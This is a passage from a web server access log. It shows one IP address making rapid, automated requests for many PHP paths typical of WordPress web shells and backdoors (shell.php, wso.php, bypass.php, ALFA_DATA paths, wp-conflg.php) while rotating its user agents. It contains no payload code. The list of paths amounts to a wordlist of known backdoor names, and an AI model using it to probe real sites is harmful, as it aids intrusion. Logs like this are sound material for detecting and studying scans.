NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:01 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:02 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:03 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:04 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:05 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:06 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:07 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:07 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:07 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:07 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - 